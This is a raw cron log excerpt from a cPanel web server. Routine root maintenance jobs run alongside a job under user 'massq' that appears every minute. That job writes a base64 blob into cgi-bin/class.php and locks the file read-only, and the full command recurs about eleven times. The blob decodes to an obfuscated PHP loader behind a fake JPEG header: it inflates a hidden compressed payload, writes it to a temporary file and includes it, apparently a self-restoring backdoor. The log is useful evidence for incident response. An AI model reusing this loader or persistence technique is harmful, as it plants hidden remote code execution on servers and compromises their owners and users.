Sep  8 05:04:02 server CROND[19058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:04:02 server CROND[19060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:05:01 server CROND[19440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:05:01 server CROND[19442]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 05:05:01 server CROND[19443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:05:01 server CROND[19445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:05:01 server CROND[19450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:05:01 server CROND[19449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:05:01 server CROND[19448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:05:01 server CROND[19446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:05:01 server CROND[19447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:06:01 server CROND[20396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:06:01 server CROND[20397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:06:01 server CROND[20398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:07:01 server CROND[20788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:07:01 server CROND[20789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:07:01 server CROND[20790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:08:01 server CROND[21166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:08:01 server CROND[21165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:08:01 server CROND[21167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:09:01 server CROND[21544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:09:01 server CROND[21543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:09:01 server CROND[21545]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 05:09:01 server CROND[21546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:10:01 server CROND[22029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:10:01 server CROND[22032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:10:01 server CROND[22034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:10:01 server CROND[22031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:10:01 server CROND[22035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:10:01 server CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:10:01 server CROND[22037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:10:01 server CROND[22033]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:11:01 server CROND[23133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:11:01 server CROND[23134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:11:01 server CROND[23136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:12:01 server CROND[23512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:12:01 server CROND[23519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:12:01 server CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:12:01 server CROND[23522]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:13:01 server CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:13:01 server CROND[23898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:13:01 server CROND[23900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:14:01 server CROND[24276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:14:01 server CROND[24277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:14:02 server CROND[24279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:15:01 server CROND[24654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:15:01 server CROND[24660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:15:01 server CROND[24663]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 05:15:01 server CROND[24665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:15:01 server CROND[24664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:15:01 server CROND[24661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
